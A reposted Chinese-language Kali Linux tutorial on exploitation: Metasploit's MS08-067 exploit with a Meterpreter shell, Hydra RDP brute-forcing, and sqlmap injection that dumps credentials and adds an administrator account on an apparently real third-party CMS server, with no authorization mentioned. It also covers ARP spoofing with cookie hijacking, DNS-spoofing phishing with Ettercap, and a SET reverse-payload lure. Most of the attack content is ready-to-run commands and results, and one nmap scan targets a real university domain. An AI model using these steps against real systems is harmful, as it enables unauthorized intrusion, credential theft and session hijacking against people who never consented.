Kali Linux滲透基礎知識整理(三):漏洞利用


漏洞利用階段利用已獲得的信息和各種攻擊手段實施滲透。網絡應用程序漏洞診斷項目的加密通信漏洞診斷是必須執行的。顧名思義,利用漏洞,達到攻擊的目的。

  • Metasploit Framework
  • rdesktop  + hydra
  • Sqlmap
  • Arpspoof
  • tcpdump + ferret + hamster
  • Ettercap
  • SET

Metasploit Framework

Metasploit是一款開源的安全漏洞檢測工具,Metasploit Framework (MSF) 在2003年以開放源碼方式發布,是可以自由獲取的開發框架。它是一個強大的開源平台,供開發,測試和使用惡意代碼,這個環境為滲透測試、shellcode 編寫和漏洞研究提供了一個可靠平台。這種可以擴展的模型將負載控制(payload)、編碼器(encode)、無操作生成器(nops)和漏洞整合在一起,使 Metasploit Framework 成為一種研究高危漏洞的途徑。它集成了各平台上常見的溢出漏洞和流行的 shellcode ,並且不斷更新。

概要:MSF架構、組件

實例演示:入侵Windows XP SP3 (ms08_067)

MSF架構

Metasploit Framework並不止具有exploit(溢出)收集功能,它使你專注於創建自己的溢出模塊或者二次開發。很少的一部分用匯編和C語言實現,其余均由ruby實現。總體架構:

Clipboard Image.png

TOOLS          集成了各種實用工具,多數為收集的其它軟件

PLUGINS      各種插件,多數為收集的其它軟件。直接調用其API,但只能在console工作。

MODULES    目前的Metasploit Framework 的各個模塊

MSF core      表示Metasploit Framework core 提供基本的API,並且定義了MSF的框架。

 並將各個子系統集成在一起。組織比較散亂,不建議更改。

MSF Base     提供了一些擴展的、易用的API以供調用,允許更改

Rex LIBRARIES        Metasploit Framework中所包含的各種庫,是類、方法和模塊的集合

CLI            表示命令行界面

GUI            圖形用戶界面

Console        控制台用戶界面

Web            網頁界面,目前已不再支持

Exploits        定義實現了一些溢出模塊,不含payload的話是一個Aux

Payload        由一些可動態運行在遠程主機上的代碼組成

Nops        用以產生緩沖區填充的非操作性指令

Aux            一些輔助模塊,用以實現輔助攻擊,如端口掃描工具

Encoders        重新進行編碼,用以實現反檢測功能等

進入msfconsole后可配置數據庫來更方便更快速的查詢各種模塊

首先啟動postgresql

 

sudo  systemctl start postgresql

 

切換到postgresql

 

su postgres

 

創建一個postgresql數據庫賬戶

 

create user root –P

 

接着,會提示輸入密碼,然后確認密碼

創建數據庫

 

createdb --owner=root nexp_db

 

owner參數指定數據庫的所有者,后一個參數為數據庫名稱

然后退出進入MSF連接數據庫

 

db_connect root:toor@localhost/nexp_db

 

連接成功后會提示:

 

[-] postgresql already connected to msf

[-] Run db_disconnect first if you wish to connect to a different database

 

msfconsole支持系統所有命令,在終端中輸入help可以查看“Core Commands”、“Database Backend Commands”、“Exploit Commands”

Clipboard Image.png

MSF集成的幾種漏洞掃描組件

Nmap

Nmap適用於Winodws、Linux、Mac等操作系統。它用於主機發現、端口發現或枚舉、服務發現,檢測操作系統、硬件地址、軟件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap組件。通常在對目標系統發起攻擊之前需要進行一些必要的信息收集,如獲取網絡中的活動主機、主機開放的端口等。

Nessus

Nessus是當前使用最廣泛的漏洞掃描工具之一。Nessus采用client/sever模式,服務器端負責進行安全檢查,客戶端用來配置管理服務器端。在服務端還采用了plug-in的體系,允許用戶加入執行特定功能的插件,這插件可以進行更快速和更復雜的安全檢查。

nmap進行端口掃描

nmap -sS -v www.hdu.edu.cn -oX Desktop/out.xml

Clipboard Image.png

通過db_import命令導入已保存的掃描結果

 

db_import Desktop/out.xml

 

Clipboard Image.png

使用hosts命令查看包含在XML格式的掃描結果中的對象

Clipboard Image.png

使用services命令詳細查看下列開放端口的相關服務信息

Clipboard Image.png

使用notes命令按掃描結果顯示的端口導出詳細信息

Clipboard Image.png

實例演示MSF入侵WinXP(ms_08067)

環境:

Windows XP SP3

IP:172.16.211.129

Kali Linux 

IP:172.16.211.128

Clipboard Image.png

實驗原理

漏洞名稱:Windows Server服務RPC請求緩沖區溢出漏洞(MS08-067)

此安全更新解決了服務器服務中一個秘密報告的漏洞。如果用戶在受影響的系統上收到特制的 RPC 請求,則該漏洞可能允許遠程執行代碼。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系統上,攻擊者可能未經身份驗證即可利用此漏洞運行任意代碼。 此漏洞可能用於進行蠕蟲攻擊。 防火牆最佳做法和標准的默認防火牆配置有助於保護網絡資源免受從企業外部發起的攻擊。

實驗過程

在msfconsole使用search命令搜索MS08067漏洞攻擊程序

Clipboard Image.png

從結果中得到

Name : exploit/windows/smb/ms08_067_netapi

Disclosure Date:2008-10-28

Rank:great 

Description:MS08-067 Microsoft Server Service Relative Path Stack Corruption

使用use命令調用MS08067漏洞攻擊程序

use exploit/windows/smb/ms08_067_netapi

Clipboard Image.png

使用show options 命令查看需要設置的選項

Clipboard Image.png

從圖中可以看到還需設置RHOST(目標地址)、Exploit target(攻擊目標)

使用 set 命令設置 Module Options,此處需要設置目標IP

即 set RHOST 172.16.211.129

Clipboard Image.png

使用 set 命令設置后,可再使用show options 命令查看設置情況

Clipboard Image.png

從中可以看出目標IP已經設置好

接着設置Exploit target,使用show targets 查看可選項

可以看出以下版本的系統均存在此漏洞

因為實例演示的XP系統為WinXP SP3 簡體中文版,即

Clipboard Image.png

使用set target 命令設置目標,此處即為set target 34

Clipboard Image.png

此時再用show options 可以看到全部設置完成,接着使用exploit 或者 run 進行攻擊

執行exploit命令后得到一個meterpreter

Clipboard Image.png

在meterpreter中輸入shell即可進入CMD窗口

Clipboard Image.png

接着即可執行CMD命令,例如打開RDP服務

 

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

 

Clipboard Image.png

使用netstat -an命令查看端口是否開放,從圖中可以看到已經開放

Clipboard Image.png

接着使用net user命令查看XP系統中的用戶

Clipboard Image.png

可以看到存在一個用戶為sysorem

然后針對指定用戶比如這里的sysorem用戶進行登錄密碼爆破

 

hydra 172.16.211.129 rdp -l sysorem -P Desktop/pass.txt

 

Clipboard Image.png

使用hydra爆破密碼得:12345接着就能直接登錄XP進行遠程控制

 

rdesktop -a 32 -u sysorem -p 12345 172.16.211.129:3389

 

Clipboard Image.png

SQLmap

 sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL的SQL注入漏洞,目前支持的數據庫是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五種獨特的SQL注入技術,分別是:

   1)基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。

   2)基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。

   3)基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。

   4)聯合查詢注入,可以使用union的情況下的注入。

   5)堆查詢注入,可以同時執行多條語句的執行時的注入。

概要:常用語法簡單介紹

實例演示:實例演示通過一個注入點入侵一台服務器

常用語法介紹

獲取當前用戶名稱

 

sqlmap -u "http://url/news?id=1" --current-user 

 

獲取當前數據庫名稱

 

sqlmap -u "http://www.xxoo.com/news?id=1" —current-db

 

列表名

 

sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D “db_name”

 

列字段

 

sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #

 

獲取字段內容

 

sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v 0

 

實例演示通過一個注入點入侵一台服務器

目標網站:某CMS

測試是否存在注入

 

sqlmap -u "http://xxx/newsInfo.php?news_id=1&classsn=8001" --level 2

 

Payload

 

news_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b766271,0x5a794e4d4a626f5857704c4959506c49507a58666b4c44717864664b596d586d797059515752464d,0x716a786b71),NULL,NULL-- PHML&classsn=9003

 

查詢數據庫所屬用戶,返回ht_zhengke20%

 

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --current-user

 

Clipboard Image.png

查詢是否是管理員賬戶,返回true 

 

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001”  --is-dba 

 

Clipboard Image.png

列數據庫

 

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --dbs

 

Clipboard Image.png

列數據庫用戶

 

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --users

 

Clipboard Image.png

列數據庫用戶密碼

 

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --passwords

 

Clipboard Image.png

得到ht_zhengke2用戶的明文密碼為ht_zhengke2

nmap掃描發現開放3389端口

進入sql shell

 

sqlmap -u “http://xxx/newsInfo.php?news_id=1&classsn=8001” --sql-shell

 

在sqlshell中添加一個用戶並提升到管理員

 

net user root 12345 /add 

net localgroup administrators root /add

 

使用新添加的用戶遠程登錄服務器

QQ截圖20160805095339.png 

Arpspoof

由於局域網的網絡流通不是根據IP地址進行,而是根據MAC地址進行傳輸。所以,MAC地址在A上被偽造成一個不存在的MAC地址,這樣就會導致網絡不通,A不能Ping通C。這就是一個簡單的ARP欺騙,利用的是ARP協議的漏洞。往往在內網滲透中,可配合其他工具用於網絡嗅探、流量劫持等作用。

Clipboard Image.png

實例應用:

ARP欺騙攻擊及會話劫持

ARP斷網攻擊

命令結構:

arpspoof [-i interface] [-t target] host

-i  表示網卡,-t 表示目標  

ARP欺騙攻擊

Windows XP SP3

IP:172.16.211.129

Kali Linux 

IP:172.16.211.128

網關

IP:172.16.211.2

開啟IP轉發(可使用cat查看是否設置成功)

 

echo 1 >> /proc/sys/net/ipv4/ip_forward

 

重定向受害者的流量傳送給攻擊者

 

arpspoof   -i   eth0   -t  172.16.211.129   172.16.211.2

 

Clipboard Image.png

tcpdump抓包(使用wireshark也可以)

因為網關具有路由功能,因此只要監聽本地網卡流量就能得到目標主機的流量。

簡單用法: tcpdump -w cookie.cap  #抓取所有流量寫入cookie.cap 

Clipboard Image.png

進行一段時間的欺騙,期間可以隨便瀏覽些網頁,聊天之類的,比如現在訪問數字杭電,一段時間后停止欺騙、停止抓包,並配合使用ferret處理抓取的流量。

簡單用法: ferret -r cookie.cap  #處理抓取的流量

Clipboard Image.png

hamster

確保處理后的cookie.cap在root用戶根目錄后,運行hamster

Clipboard Image.png

接着根據提示設置瀏覽器代理

Kali 自帶的Firefox瀏覽器設置代理如圖

Clipboard Image.png

設置好代理后瀏覽器中訪問hamster或http://127.0.0.1:1234

Clipboard Image.png

點擊左側鏈接,已經成功劫持cookie,實現訪問

Clipboard Image.png

ARP斷網攻擊

關閉本地IP轉發,當來自網關的流量到達本機時,目標機器無法獲得來自網關的數據,從而“斷網”

 

arpspoof   -i   eth0   172.16.211.1   172.16.211.128

 

ettercap

ettercap是一個強大的欺騙工具,能夠讓測試人員以極快的速度創建和發送偽造的包、從網絡適配器到應用軟件各種級別的包、綁定監聽數據到一個本地端口等。是中間人攻擊中常用到的輔助工具。

Clipboard Image.png

不過多介紹,有興趣的小伙伴可以自行了解下

實例演示:MIMT之DNS欺騙(釣魚)

配置dns(/etc/ettercap/etter.dns)     172.16.211.128為本機在局域網地址

Clipboard Image.png

開啟本地web服務

Clipboard Image.png

直接訪問會返回apache默認頁面

Clipboard Image.png

使用命令ettercap -G 啟動ettercap,並選擇Unifind sniffing進行網卡配置

Clipboard Image.png

Clipboard Image.png

接着掃描存活的主機,掃描完畢點擊下圖的Hosts list

Clipboard Image.png

將網關地址添加到 target1,將攻擊目標添加到  target2

Clipboard Image.png

接着設置中間人攻擊的形式為ARP欺騙,並設置雙向欺騙

Clipboard Image.png

接着啟用dns_spoof插件

接着開始DNS欺騙

Clipboard Image.png

然后在目標主機上瀏覽www.hdu.edu.cn 時就能達到欺騙的效果

Clipboard Image.png

DNS欺騙在內網滲透中往往用於獲取管理員信息、釣魚等。例如可以偽造內網路由器管理頁面,欺騙用戶在管理頁面輸入真實賬號密碼等。

SET

SET是利用社會工程學理論的工具集。它與metasploit連接,自動構建可應用於社會工程學技術的微軟最新樓漏洞、Adobe PDF漏洞、Java Applet漏洞等多種環境。它不僅使用方便,而且還能巧妙地瞞過普通用戶的眼睛。因此,也是極其危險的工具。

在shell中輸入setoolkit啟動SET,它可進行社工、滲透等測試,此處選1即社工

Clipboard Image.png

選擇連接方式為4,創建一個payload和listener

Clipboard Image.png

因為用於演示的系統為WinXP 32bit,因此選擇連接方式為2

Clipboard Image.png

接着設置本機IP和端口(此處端口設置為4445,避免沖突即可)

Clipboard Image.png

接着SET將啟動MSF並通過以上設置的payloads后,當用戶被誘導並逆向連接本機4445端口時,將會得到一個meterpreter,得到meterpreter后,可輸入?查看可用命令

Clipboard Image.png

例如screenshot截屏

Clipboard Image.png

Clipboard Image.png


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM